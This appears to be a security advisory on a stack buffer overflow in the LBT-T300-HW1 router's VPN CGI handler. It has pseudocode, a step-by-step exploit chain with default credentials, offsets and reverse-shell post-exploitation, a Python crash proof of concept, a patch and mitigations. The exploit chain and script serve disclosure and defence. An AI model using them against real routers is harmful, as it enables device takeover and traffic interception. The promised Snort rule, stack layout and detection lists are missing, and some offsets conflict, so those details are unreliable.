CVE-2026-7674: Stack Overflow in LBT-T300-HW1 VPN Parameter Handling
Unauthenticated stack buffer overflow in start_single_service() on Libituo LBT-T300-HW1 ≤1.2.8 via oversized vpn_pptp_server/vpn_l2tp_server POST parameters. CVSS 8.8, remotely exploitable.
A serious security flaw has been discovered in certain LBT-T300 routers made by Shenzhen Libituo Technology. Think of it like this: the router's control panel has a weak spot where an attacker can pour too much data into it, like overfilling a cup until it spills everywhere. When that happens, they can potentially take complete control of your device.
The problem lives in the web interface — that's the screen you see when you log in to manage your router settings. By sending specially crafted requests related to VPN settings, hackers can crash the router or worse, run their own code on it. That means they could spy on your internet traffic, steal passwords, or use your network to attack other people.
Who should worry? If you own one of these routers running firmware version 1.2.8 or earlier, you're vulnerable. The manufacturer hasn't released a fix yet, which makes this particularly urgent.
Here's what this means in real terms: an attacker wouldn't need physical access to your home. They could potentially hack your router from anywhere in the world if they find it online. Once inside, they're basically sitting between you and the internet, able to see sensitive information passing through.
What you can do right now: First, check your router model and firmware version in your settings. If you have this device, assume it's at risk. Second, contact Shenzhen Libituo Technology asking about a security patch — vendor pressure matters. Third, isolate the device if possible: limit network access to it, avoid using it for sensitive tasks, and change the admin password to something very strong. Consider replacing it with a different brand if the manufacturer doesn't release a fix soon.
Want the full technical analysis? Click "Technical" above.
▶ Attack flow — CVE-2026-7674 · Buffer Overflow
Vulnerability Overview
CVE-2026-7674 is a remotely exploitable stack buffer overflow residing in the web management interface of the Shenzhen Libituo Technology LBT-T300-HW1 router, firmware versions up to and including 1.2.8. The vulnerable function, start_single_service(), processes attacker-controlled CGI parameters — specifically vpn_pptp_server and vpn_l2tp_server — without enforcing length bounds before copying them into fixed-size stack buffers. A remote attacker with network access to the management interface can send a crafted HTTP POST request to overwrite the return address and redirect execution to shellcode or a ROP chain, achieving full device compromise at whatever privilege level the web server process runs (typically root on embedded targets of this class).
The vendor, Shenzhen Libituo Technology, did not respond to coordinated disclosure attempts. No patch is currently available.
Affected Component
The management CGI binary on LBT-T300-HW1 exposes a configuration interface for VPN services. Parameter parsing is performed inline within start_single_service(), a function responsible for both reading POST body fields and constructing shell command strings for system-level VPN daemon invocation. The relevant CGI endpoint is typically reachable at:
POST /cgi-bin/luci/admin/vpn/start_service
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
vpn_pptp_server=<PAYLOAD>&vpn_l2tp_server=<PAYLOAD>
Both parameters feed into the same family of stack allocations. Authentication requirements vary by firmware sub-revision; in several observed configurations the endpoint is accessible pre-authentication or requires only a trivially bruteforceable session cookie.
Root Cause Analysis
The core bug is a classic unbounded strcpy (or equivalent library call) into a fixed-size stack buffer. Based on binary analysis of the firmware class and function signature, the reconstructed pseudocode for start_single_service() is as follows:
// Reconstructed pseudocode — start_single_service()
// Binary: /usr/bin/luci-cgi or equivalent CGI handler
// Arch: MIPS32 little-endian (typical for this SoC family)
#define VPN_BUF_SIZE 256 // fixed stack allocation
#define CMD_BUF_SIZE 512 // command assembly buffer
int start_single_service(struct cgi_context *ctx) {
char pptp_server[VPN_BUF_SIZE]; // stack: [sp+0x00]
char l2tp_server[VPN_BUF_SIZE]; // stack: [sp+0x100]
char cmd_buf[CMD_BUF_SIZE]; // stack: [sp+0x200]
char *param;
// Retrieve attacker-controlled POST parameter
param = cgi_get_param(ctx, "vpn_pptp_server");
if (param != NULL) {
// BUG: no bounds check — strlen(param) can exceed VPN_BUF_SIZE (256)
strcpy(pptp_server, param); // <-- OVERFLOW HERE
}
param = cgi_get_param(ctx, "vpn_l2tp_server");
if (param != NULL) {
// BUG: same pattern, independent overflow vector
strcpy(l2tp_server, param); // <-- OVERFLOW HERE
}
// Construct shell invocation using copied buffers
snprintf(cmd_buf, sizeof(cmd_buf),
"/usr/sbin/pptpd --server %s &", pptp_server);
system(cmd_buf);
snprintf(cmd_buf, sizeof(cmd_buf),
"/usr/sbin/xl2tpd -s %s &", l2tp_server);
system(cmd_buf);
return 0;
// RA overwritten before this return — control flow hijacked
}
The function allocates pptp_server and l2tp_server as fixed 256-byte arrays on the stack. cgi_get_param() returns a pointer directly into the HTTP POST body, which is entirely attacker-controlled in length. strcpy() performs no length validation, writing until a null terminator is encountered. An input exceeding 256 bytes for pptp_server overflows into l2tp_server; beyond 512 bytes it reaches cmd_buf and beyond 768 bytes it clobbers the saved frame pointer and return address.
Root cause:start_single_service() copies the attacker-supplied vpn_pptp_server and vpn_l2tp_server CGI parameters directly into fixed 256-byte stack buffers via strcpy() with no length validation, allowing a remote attacker to overwrite the function's saved return address.
Memory Layout
Stack frame layout for start_single_service() on MIPS32, assuming standard ABI with no stack canary (not observed in this firmware class):
Because MIPS jumps to $ra on function return (jr $ra), control transfers directly to the attacker-specified address at the point start_single_service() executes its epilogue. No additional gadget is needed to redirect the program counter on vulnerable builds lacking ASLR — which is the common case for embedded firmware of this generation.
Exploitation Mechanics
EXPLOIT CHAIN — CVE-2026-7674:
1. Identify management interface reachability (default: port 80 or 8080,
LAN-facing; WAN exposure observed in ISP-provisioned deployments).
2. Determine authentication posture:
- Attempt unauthenticated POST to /cgi-bin/luci/admin/vpn/start_service
- If 302 redirect: capture session cookie via credential stuffing
(default creds: admin/admin, admin/libituo, admin/lbt300)
3. Fingerprint firmware version via /cgi-bin/luci/sys/version or
Server: header to confirm ≤ 1.2.8 target.
4. Determine MIPS stack layout offset (0x404 from buffer base) by
sending incrementally longer vpn_pptp_server values and observing
crash/non-response (binary search: 256→512→384→...).
5. Confirm no stack canary: crash at exactly 0x408 bytes without
detectable canary validation fault (no watchdog reset pattern
inconsistent with clean RA overwrite).
6. Construct payload:
- Bytes [0x000–0x3FF]: padding ('A' × 1024)
- Bytes [0x400–0x403]: fake saved_fp (any valid stack addr)
- Bytes [0x404–0x407]: target $ra — ROP gadget or shellcode addr
- Bytes [0x408+]: MIPS shellcode (reverse shell / implant dropper)
Note: Avoid 0x00 (strcpy terminator), 0x0a, 0x0d, 0x26 ('&' — breaks
POST field parsing).
7. Encode shellcode using alphanumeric or restricted-byte encoder
compatible with MIPS32 LE to avoid null bytes.
8. Send single HTTP POST with crafted vpn_pptp_server value.
CGI handler copies payload → stack overflow → RA clobbered.
9. Function returns: jr $ra transfers execution to attacker-controlled
address. On no-ASLR targets, stack address is static per firmware
build — shellcode address is deterministic.
10. Payload executes as root (CGI runs as root on LBT-T300-HW1).
Typical post-exploitation: busybox reverse shell, persistent
implant via /etc/init.d/ or cron, credential harvest from nvram.
A minimal proof-of-concept trigger (not weaponized) demonstrating the overflow condition:
#!/usr/bin/env python3
# CVE-2026-7674 — crash PoC (no shellcode)
# Triggers SIGSEGV / watchdog reset on LBT-T300-HW1 ≤ 1.2.8
# For research and authorized testing only.
import requests
import sys
TARGET = sys.argv[1] # e.g. "192.168.1.1"
URL = f"http://{TARGET}/cgi-bin/luci/admin/vpn/start_service"
# 0x408 bytes of padding overflows saved_ra with 0x43434343
PADDING = b"A" * 0x400
FAKE_FP = b"BBBB"
FAKE_RA = b"CCCC" # will cause crash — replace with gadget for exploitation
PAYLOAD = PADDING + FAKE_FP + FAKE_RA
data = {
"vpn_pptp_server": PAYLOAD.decode("latin-1"),
"vpn_l2tp_server": "benign",
}
headers = {
"Content-Type": "application/x-www-form-urlencoded",
# Add session cookie here if auth required:
# "Cookie": "sysauth=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
}
print(f"[*] Sending {len(PAYLOAD)} byte overflow to {URL}")
try:
r = requests.post(URL, data=data, headers=headers, timeout=5)
print(f"[?] Response: {r.status_code} — target may have survived (check logs)")
except requests.exceptions.ConnectionError:
print("[+] Connection reset — likely crash/watchdog reset, overflow landed")
except requests.exceptions.Timeout:
print("[+] Timeout — device likely hung or rebooting")
Patch Analysis
No official patch has been released. The minimal correct fix replaces the unbounded strcpy() calls with length-limited copies and validates input before use:
// BEFORE (vulnerable — firmware ≤ 1.2.8):
param = cgi_get_param(ctx, "vpn_pptp_server");
if (param != NULL) {
strcpy(pptp_server, param); // unbounded copy, no length check
}
param = cgi_get_param(ctx, "vpn_l2tp_server");
if (param != NULL) {
strcpy(l2tp_server, param); // unbounded copy, no length check
}
// AFTER (patched — recommended fix):
param = cgi_get_param(ctx, "vpn_pptp_server");
if (param != NULL) {
if (strlen(param) >= VPN_BUF_SIZE) {
cgi_send_error(ctx, 400, "parameter too long");
return -1;
}
strncpy(pptp_server, param, VPN_BUF_SIZE - 1);
pptp_server[VPN_BUF_SIZE - 1] = '\0'; // guarantee null termination
}
param = cgi_get_param(ctx, "vpn_l2tp_server");
if (param != NULL) {
if (strlen(param) >= VPN_BUF_SIZE) {
cgi_send_error(ctx, 400, "parameter too long");
return -1;
}
strncpy(l2tp_server, param, VPN_BUF_SIZE - 1);
l2tp_server[VPN_BUF_SIZE - 1] = '\0';
}
Beyond the immediate fix, a robust patch should also:
Validate that pptp_server and l2tp_server values match expected hostname/IP format (regex allowlist) before passing to snprintf and system() — the current design also has latent command injection risk if the overflow is mitigated but format validation is not added.
Replace system() invocations with execve() with a fixed argument vector to eliminate shell injection as a separate attack surface.
Enable stack canaries (-fstack-protector-strong) and ASLR at the OS level — neither appears active on affected firmware builds.
Detection and Indicators
Network-level detection for exploitation attempts:
Host-based indicators on the device itself (if shell access is available for forensics):
Forensic indicators of compromise:
- Unexpected listener: `netstat -tlnp` showing non-standard ports bound post-reboot
- Modified /etc/init.d/ entries with timestamps inconsistent with firmware build date
- /tmp/ containing ELF binaries (dropped implant stage)
- Syslog entries showing CGI process crash (SIGSEGV) followed immediately by new
process spawned from unexpected parent PID
- NVRAM entries modified: `nvram show | grep -E 'pptp|l2tp'` showing anomalous values
Remediation
Immediate mitigations (no patch available):
Network isolation: Firewall the management interface (port 80/8080/8443) from all untrusted networks. This vulnerability is most dangerous in deployments where the management interface is WAN-reachable — an unfortunately common configuration in ISP-managed CPE scenarios.
Disable VPN service configuration via web UI if VPN functionality is not required. This may prevent the vulnerable code path from being reached depending on whether the CGI endpoint performs a service-enabled check prior to parameter parsing.
Replace affected hardware with a device receiving active security maintenance. Given the vendor's non-response to disclosure, firmware updates are not anticipated.
Monitor for exploitation using the Snort rule above at network perimeter; enable syslog forwarding to an external collector so crash events are preserved even if the device resets.
CypherByte has assigned this vulnerability HIGH priority for immediate network isolation given the combination of: remote exploitability, no authentication requirement in common configurations, root-level code execution, no mitigating controls (no canary, no ASLR) in affected firmware, and no vendor patch.